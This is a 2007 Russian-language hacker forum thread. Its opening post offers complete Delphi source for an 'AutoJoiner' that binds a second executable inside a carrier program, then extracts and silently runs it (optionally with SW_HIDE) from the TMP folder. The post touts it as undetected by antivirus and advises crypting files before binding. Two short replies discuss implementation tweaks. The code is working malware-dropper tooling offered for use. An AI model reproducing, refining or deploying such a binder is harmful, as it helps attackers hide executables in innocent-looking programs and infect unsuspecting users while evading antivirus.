Склеивание by execom

Discussion in 'Безопасность и Анонимность' started by †Nood1e†, 3 Aug 2007.

  1. †Nood1e†

    †Nood1e† Elder - Старейшина

    Joined:
    3 Oct 2006
    Messages:
    81
    Likes Received:
    32
    Reputations:
    -3
    Как я и обещал, выкладываю свой способ склейки файлов.
    Суть метода предельно, до тупого проста и понятна всем.
    В исходник программы носителя добавляется приведённая ниже
    процедура: Joiner. А дальше где-нибудь в программе
    устанавливется её вызов, например в начале основной части
    или, если её нет в функции FormCreate, в общем где посчитаете
    нужно, там и ставите... Далее действуем так: у нас есть
    два файла например nositel.exe-файл-носитель и Joined.exe -
    клеимый файл.Рззмещаем эти файлы в одном каталоге, запускаем
    nositel.exe в этом же каталоге образуется файл nositel.exe.exe
    он представляет собой уже склееные два файла nositel.exe и
    Joined.exe с добавленной в DOS-заголовке меткой склеености)))
    В общем-то если вы все параметры правильно ввели то у всё
    уже готово))... Переименовываем nositel.exe.exe в рабочее имя
    и можем его применять... при запуске этого файла он извлекает
    приклееную прогу в указанное в параметре место и в зависимости
    от выбранный парамтров запускает или нет с выбранным способом
    отображения окна)))

    Я думаю, что вопросы по теме будут, хотя вроде всё понятно,
    в общем что не ясно спрашивайте....

    Преемущества метода:
    - Непалим антивирями по причине отсутствия загрузщика;
    - Метод прост и не требует наличия каких-либо средств;
    - Метод очень компактный в реализации;

    Недостатки метода:
    - Нельзя склеивать любые два файла, в качестве файла-носителя
    можно применять только файл, чей делфи исходник у вас есть...

    Особенность метода:
    - Упаковку и криптование файлов необходимо провести до склеивания)))

    Вот исходник процедуры, полностью описанный и с примером применения
    Code:
    //////////////////////////////////
    ////   AutoJoiner by execom   ////
    ////   52Nn 'n' DE (c) 2007   ////
    ////  52nn.net & d4rkevil.org ////
    //////////////////////////////////
    
    {$M 65000}//Эта дериктива компилятору выделяет память под запуск приложения
    //Её необходимо будет добавлять в каждую прогу внячале кода...
    program Project3;
    uses  //Для работы процедуры необходимо присутствие этих модулей
      SysUtils,
      Windows;
    
    Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal);
    const
      mSize=56789;//Размер программы-носителя к которой будет крениться файл
      fSize=12345;//Размер крепимого файла
      //Эти два значения мы устанавливаем опытным путем и записываем сами
    type
      MnBuf=array[1..mSize] of Char;
      FlBuf=array[1..fSize] of Char;
      LaBuf=array[1..8] of Char;
    var
      mBuf : MnBuf;
      fBuf : FlBuf;
      lBuf : LaBuf;
         f : File of Char;
    begin
      FileMode:=0;//Устанавливаем режим работы с файлами "Только чтение"
      AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе
      Reset(f);//Открываем себя
      Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт
      //В DOS-заголовке ехе-файла на имеются зарезервированные места,
      //которые пока их не заняли мы можем свободно использовать
      //на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт
      BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf
      if LBuf='E}{eC()M' then
      //Если в этом месте наша метка значит файл уже приклеин и нам необходимо
      //его из себя извлечь и по необходимости запустить в выбраном режиме отображения
      //Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции
      // и не более 20 байт в позиции 28h... Мы находимся на втором уровне
      Begin
        Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла
        BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл
        CloseFile(f);//Закрываем себя
        FileMode:=2;//Устанавливаем режим работы с файлами "Только запись"
        {$I-}//Отключаем проверку ошибок ввода вывода
        AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки
        ReWrite(f);//Создаем с перезаписью пустой файл
        BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла
        CloseFile(f);//Закрываем себя
        {$I+}//Включаем проверку ошибок ввода вывода
        if fStart then WinExec(PChar(fPath+fName+' '+fCMD),fShow);
        //Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой
      end
      else
      //Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла
      //Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл
      begin
        {$I-}//Отключаем проверку ошибок ввода вывода
        Seek(f,0);//Переходим на позицию начала своего файла
        BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл
        CloseFile(f);//Закрываем себя
        AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу
        Reset(f);//Открываем его
        BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл
        CloseFile(f);//Закрываем клеимый файл
        FileMode:=2;//Устанавливаем режим работы с файлами "Только запись"
        AssignFile(f,paramstr(0)+'.ExE');//Ассоциируем переменную f с путём к файлу с именем,
        //как у файла носителя + .ЕхЕ
        ReWrite(f);//Создаём новый пустой файл
        BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя
        BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла
        seek(f,$1C);//Переходим на позицию установки метки
        LBuf:='E}{eC()M';//Присваивем переменной значение метки
        BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания
        CloseFile(f);//Закрываем файл
        {$I+}//Включаем проверку ошибок ввода вывода
      end;
    end;
    begin
    //Применение процедуры Joiner:
    //fName - Имя клеимого файла
    //fPath - Папка распаковки файла
    //fCMD - командная строка запуска файла (если есть)
    //fstart - true - запускаем, false - не запускаем, извлечённый файл
    //fShow - Режим отображения запущеного файла например:
    
    //SW_HIDE - Прячет окно и переводит в активное состояние другое окно.
    //SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон.
    //SW_RESTORE - Действует так же, как и SW_SHOWNORMAL.
    //SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера.
    //SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний.
    //SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером.
    //SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы.
    //SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным.
    //SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным.
    //SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным.
    //SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна.
    //SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами.
    
    Joiner('calc.exe',GetEnvironmentVariable('TMP')+'\','',true,SW_Show);
    end.
    P.S. При написании программ с паблик исходниками пояснения из кода
    можете убрать, но оставьте строки копирайта
    Code:
    //////////////////////////////////
    ////   AutoJoiner by execom   ////
    ////   52Nn 'n' DE (c) 2007   ////
    ////  52nn.net & d4rkevil.org ////
    //////////////////////////////////
    Хотя - это скорей проcьба)))
     
    5 people like this.
  2. asm33

    asm33 Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    55
    Likes Received:
    7
    Reputations:
    4
    недостаток то что только 2 файло могут быть склеены.

    Если написать то же самое с использованием Tfilestream или Tmemstream, получиться гораздо меньше писанины
     
  3. zl0y

    zl0y Banned

    Joined:
    13 Sep 2006
    Messages:
    371
    Likes Received:
    270
    Reputations:
    109
    ДАвно уже думал писать 1 файл в другой тоесть 1 +1 и.т.д но эт все фигня )